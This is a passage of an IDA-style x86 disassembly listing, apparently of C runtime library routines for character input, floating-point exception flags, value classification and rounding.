		jnz	short loc_420E65
		cmp	[ebp+var_15], al
		jnz	short loc_420E65
		or	eax, 0FFFFFFFFh
		jmp	short loc_420E65
; ---------------------------------------------------------------------------


loc_420E62:				; CODE XREF: sub_420445+A0Aj
		mov	eax, [ebp+var_34]


loc_420E65:				; CODE XREF: sub_420445+A11j
					; sub_420445+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420445	endp


; =============== S U B	R O U T	I N E =======================================



sub_420E6A	proc near		; CODE XREF: sub_420445+7A3p
					; sub_420445+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43A88C, 1
		push	esi
		jle	short loc_420E84
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420E93
; ---------------------------------------------------------------------------


loc_420E84:				; CODE XREF: sub_420E6A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43A680
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420E93:				; CODE XREF: sub_420E6A+18j
		test	eax, eax
		jnz	short loc_420E9D
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420E9D:				; CODE XREF: sub_420E6A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420E6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_420EA1	proc near		; CODE XREF: sub_420445+1E1p
					; sub_420445+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420EB3
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420EB3:				; CODE XREF: sub_420EA1+7j
		push	edx
		call	sub_41EF78
		pop	ecx
		retn
sub_420EA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420EBB	proc near		; CODE XREF: sub_420445+6Bp
					; sub_420445+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420ED1
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423EBF
		pop	ecx
		pop	ecx

locret_420ED1:				; CODE XREF: sub_420EBB+5j
		retn
sub_420EBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_420ED2	proc near		; CODE XREF: sub_420445+63p
					; sub_420445+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420ED8:				; CODE XREF: sub_420ED2+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420EA1
		mov	edi, eax
		push	edi
		call	sub_41DE10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420ED8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420ED2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420EF6(int,int,double,int)

sub_420EF6	proc near		; CODE XREF: sub_41CDE5+51p
					; sub_41CF2B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43B000, 0
		jnz	short loc_420F2B
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_4214AB
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420F2B:				; CODE XREF: sub_420EF6+Aj
		push	0FFFFh
		mov	dword_4D9714, 21h
		push	[ebp+arg_C]
		call	sub_42171E
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_420F49(int,int,double,double,int)

sub_420F49	proc near		; CODE XREF: sub_41CDE5:loc_41CEA8p
					; sub_41CF2B:loc_41CFEEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421294
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420F87
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_420FE1
		add	esp, 18h


loc_420F87:				; CODE XREF: sub_420F49+1Aj
		push	[ebp+arg_0]
		call	sub_42157E
		cmp	dword_43B000, 0
		pop	ecx
		jnz	short loc_420FC5
		test	eax, eax
		jz	short loc_420FC5
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_4214AB
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_420FC5:				; CODE XREF: sub_420F49+4Ej
					; sub_420F49+52j
		push	eax
		call	sub_421533
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_42171E
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_420F49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420FE1	proc near		; CODE XREF: sub_420F49+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_421013
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_421013:				; CODE XREF: sub_420FE1+23j
		test	cl, 2
		jz	short loc_421026
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421026:				; CODE XREF: sub_420FE1+35j
		test	cl, bl
		jz	short loc_421038
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421038:				; CODE XREF: sub_420FE1+47j
		test	cl, 4
		jz	short loc_42104B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_42104B:				; CODE XREF: sub_420FE1+5Aj
		test	cl, 8
		jz	short loc_42105E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_42105E:				; CODE XREF: sub_420FE1+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_421701
		test	al, bl
		jz	short loc_4210E7
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4210E7:				; CODE XREF: sub_420FE1+FDj
		test	al, 4
		jz	short loc_4210F2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4210F2:				; CODE XREF: sub_420FE1+108j
		test	al, 8
		jz	short loc_4210FD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4210FD:				; CODE XREF: sub_420FE1+113j
		test	al, 10h
		jz	short loc_421107
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421107:				; CODE XREF: sub_420FE1+11Ej
		test	al, 20h
		jz	short loc_421111
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421111:				; CODE XREF: sub_420FE1+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421150
		cmp	eax, 400h
		jz	short loc_421142
		cmp	eax, 800h
		jz	short loc_421136
		cmp	eax, ecx
		jnz	short loc_421156
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421136:				; CODE XREF: sub_420FE1+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_42114C
; ---------------------------------------------------------------------------


loc_421142:				; CODE XREF: sub_420FE1+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_42114C:				; CODE XREF: sub_420FE1+15Fj
		mov	[eax], ecx
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421150:				; CODE XREF: sub_420FE1+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421156:				; CODE XREF: sub_420FE1+14Bj
					; sub_420FE1+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421181
		cmp	eax, 200h
		jz	short loc_421174
		cmp	eax, ecx
		jnz	short loc_42118E
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_42118E
; ---------------------------------------------------------------------------


loc_421174:				; CODE XREF: sub_420FE1+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_42118C
; ---------------------------------------------------------------------------


loc_421181:				; CODE XREF: sub_420FE1+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_42118C:				; CODE XREF: sub_420FE1+19Ej
		mov	[eax], ecx


loc_42118E:				; CODE XREF: sub_420FE1+189j
					; sub_420FE1+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42170F
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 264135Bh
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421208
		and	dword ptr [esi], 0FFFFFFFEh


loc_421208:				; CODE XREF: sub_420FE1+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421211
		and	dword ptr [esi], 0FFFFFFFBh


loc_421211:				; CODE XREF: sub_420FE1+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_42121A
		and	dword ptr [esi], 0FFFFFFF7h


loc_42121A:				; CODE XREF: sub_420FE1+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421223
		and	dword ptr [esi], 0FFFFFFEFh


loc_421223:				; CODE XREF: sub_420FE1+23Dj
		test	[eax+8], bl
		jz	short loc_42122B
		and	dword ptr [esi], 0FFFFFFDFh


loc_42122B:				; CODE XREF: sub_420FE1+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42125F
		dec	ecx
		jz	short loc_421253
		dec	ecx
		jz	short loc_421249
		dec	ecx
		jnz	short loc_421261
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421261
; ---------------------------------------------------------------------------


loc_421249:				; CODE XREF: sub_420FE1+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_42125B
; ---------------------------------------------------------------------------


loc_421253:				; CODE XREF: sub_420FE1+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_42125B:				; CODE XREF: sub_420FE1+270j
		mov	[esi], ecx
		jmp	short loc_421261
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420FE1+257j
		and	[esi], edx


loc_421261:				; CODE XREF: sub_420FE1+260j
					; sub_420FE1+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421281
		dec	ecx
		jz	short loc_421278
		dec	ecx
		jnz	short loc_42128A
		and	[esi], edx
		jmp	short loc_42128A
; ---------------------------------------------------------------------------


loc_421278:				; CODE XREF: sub_420FE1+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421288
; ---------------------------------------------------------------------------


loc_421281:				; CODE XREF: sub_420FE1+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421288:				; CODE XREF: sub_420FE1+29Ej
		mov	[esi], ecx


loc_42128A:				; CODE XREF: sub_420FE1+291j
					; sub_420FE1+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421294	proc near		; CODE XREF: sub_420F49+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4212BF
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4212BF
		push	ebx
		call	sub_421741
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421489
; ---------------------------------------------------------------------------


loc_4212BF:				; CODE XREF: sub_421294+15j
					; sub_421294+1Aj
		test	al, 4
		jz	short loc_4212D9
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4212D9
		push	4
		call	sub_421741
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421489
; ---------------------------------------------------------------------------


loc_4212D9:				; CODE XREF: sub_421294+2Dj
					; sub_421294+33j
		test	al, bl
		jz	loc_4213B3
		test	byte ptr [ebp+arg_8], 8
		jz	loc_4213B3
		push	8
		call	sub_421741
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_42138B
		cmp	ecx, 400h
		jz	short loc_421363
		cmp	ecx, 800h
		jz	short loc_42133B
		cmp	ecx, eax
		jnz	loc_4213AB
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427848
		fld	dbl_43ABF8
		fnstsw	ax
		sahf
		ja	short loc_421333
		fchs


loc_421333:				; CODE XREF: sub_421294+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_42133B:				; CODE XREF: sub_421294+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jbe	short loc_421353
		fld	dbl_43ABE8
		jmp	short loc_42135B
; ---------------------------------------------------------------------------


loc_421353:				; CODE XREF: sub_421294+B5j
		fld	dbl_43ABF8
		fchs


loc_42135B:				; CODE XREF: sub_421294+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_421363:				; CODE XREF: sub_421294+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jbe	short loc_42137B
		fld	dbl_43ABF8
		jmp	short loc_421383
; ---------------------------------------------------------------------------


loc_42137B:				; CODE XREF: sub_421294+DDj
		fld	dbl_43ABE8
		fchs


loc_421383:				; CODE XREF: sub_421294+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------


loc_42138B:				; CODE XREF: sub_421294+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427848
		fld	dbl_43ABE8
		fnstsw	ax
		sahf
		ja	short loc_4213A3
		fchs


loc_4213A3:				; CODE XREF: sub_421294+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_4213A9:				; CODE XREF: sub_421294+A5j
					; sub_421294+CDj ...
		fstp	qword ptr [ecx]


loc_4213AB:				; CODE XREF: sub_421294+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421489
; ---------------------------------------------------------------------------


loc_4213B3:				; CODE XREF: sub_421294+47j
					; sub_421294+51j
		test	al, 2
		jz	loc_421489
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421489
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_4213CE
		mov	esi, ebx


loc_4213CE:				; CODE XREF: sub_421294+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jz	loc_421477
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421640
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421419
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_42146D
; ---------------------------------------------------------------------------


loc_421419:				; CODE XREF: sub_421294+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jnb	short loc_42142B
		mov	edx, ebx
		jmp	short loc_42142D
; ---------------------------------------------------------------------------


loc_42142B:				; CODE XREF: sub_421294+191j
		xor	edx, edx


loc_42142D:				; CODE XREF: sub_421294+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421461
		sub	eax, ecx


loc_421444:				; CODE XREF: sub_421294+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42144F
		test	esi, esi
		jnz	short loc_42144F
		mov	esi, ebx


loc_42144F:				; CODE XREF: sub_421294+1B3j
					; sub_421294+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_42145B
		or	byte ptr [ebp+var_C+3],	80h


loc_42145B:				; CODE XREF: sub_421294+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421444


loc_421461:				; CODE XREF: sub_421294+1ACj
		test	edx, edx
		jz	short loc_42146D
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_42146D:				; CODE XREF: sub_421294+183j
					; sub_421294+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421479
; ---------------------------------------------------------------------------


loc_421477:				; CODE XREF: sub_421294+14Ej
		mov	esi, ebx


loc_421479:				; CODE XREF: sub_421294+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421486
		push	10h
		call	sub_421741
		pop	ecx


loc_421486:				; CODE XREF: sub_421294+1E8j
		and	edi, 0FFFFFFFDh


loc_421489:				; CODE XREF: sub_421294+26j
					; sub_421294+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4214A0
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4214A0
		push	20h
		call	sub_421741
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_4214A0:				; CODE XREF: sub_421294+1F9j
					; sub_421294+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4214AB(int,int,int,int,int,int,double,int)

sub_4214AB	proc near		; CODE XREF: sub_420EF6+2Bp
					; sub_420F49+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421559
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421516
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_42171E
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_423F2D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421510
		push	esi
		call	sub_421533
		pop	ecx


loc_421510:				; CODE XREF: sub_4214AB+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421516:				; CODE XREF: sub_4214AB+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_42171E
		push	[ebp+arg_0]
		call	sub_421533
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_4214AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421533	proc near		; CODE XREF: sub_420F49+7Dp
					; sub_4214AB+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_42154E
		jle	short locret_421558
		cmp	eax, 3
		jg	short locret_421558
		mov	dword_4D9714, 22h
		retn
; ---------------------------------------------------------------------------


loc_42154E:				; CODE XREF: sub_421533+7j
		mov	dword_4D9714, 21h

locret_421558:				; CODE XREF: sub_421533+9j
					; sub_421533+Ej
		retn
sub_421533	endp


; =============== S U B	R O U T	I N E =======================================



sub_421559	proc near		; CODE XREF: sub_4214AB+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43AB10


loc_421560:				; CODE XREF: sub_421559+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421576
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43ABE8
		jl	short loc_421560
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421576:				; CODE XREF: sub_421559+Dj
		mov	eax, off_43AB14[ecx*8]
		retn
sub_421559	endp


; =============== S U B	R O U T	I N E =======================================



sub_42157E	proc near		; CODE XREF: sub_420F49+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_42158A
		push	5
		jmp	short loc_4215A0
; ---------------------------------------------------------------------------


loc_42158A:				; CODE XREF: sub_42157E+6j
		test	al, 8
		jz	short loc_421592
		push	1
		jmp	short loc_4215A0
; ---------------------------------------------------------------------------


loc_421592:				; CODE XREF: sub_42157E+Ej
		test	al, 4
		jz	short loc_42159A
		push	2
		jmp	short loc_4215A0
; ---------------------------------------------------------------------------


loc_42159A:				; CODE XREF: sub_42157E+16j
		test	al, 1
		jz	short loc_4215A2
		push	3


loc_4215A0:				; CODE XREF: sub_42157E+Aj
					; sub_42157E+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4215A2:				; CODE XREF: sub_42157E+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_42157E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4215AB(double)

sub_4215AB	proc near		; CODE XREF: sub_41CDE5:loc_41CE6Bp
					; sub_41CF2B:loc_41CFB1p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_4215AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4215BD(double,int)

sub_4215BD	proc near		; CODE XREF: sub_421640+82p
					; sub_421640+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4215BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4215E6	proc near		; CODE XREF: sub_41CDE5+31p
					; sub_41CF2B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4215FD
		cmp	[ebp+arg_0], edx
		jnz	short loc_42160F
		push	1
		jmp	short loc_421639
; ---------------------------------------------------------------------------


loc_4215FD:				; CODE XREF: sub_4215E6+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42160F
		cmp	[ebp+arg_0], edx
		jnz	short loc_42160F
		push	2
		jmp	short loc_421639
; ---------------------------------------------------------------------------


loc_42160F:				; CODE XREF: sub_4215E6+11j
					; sub_4215E6+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421622
		push	3
		jmp	short loc_421639
; ---------------------------------------------------------------------------


loc_421622:				; CODE XREF: sub_4215E6+36j
		cmp	cx, 7FF0h
		jnz	short loc_42163C
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421637
		cmp	[ebp+arg_0], edx
		jz	short loc_42163C


loc_421637:				; CODE XREF: sub_4215E6+4Aj
		push	4


loc_421639:				; CODE XREF: sub_4215E6+15j
					; sub_4215E6+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42163C:				; CODE XREF: sub_4215E6+41j
					; sub_4215E6+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4215E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421640(double,int)

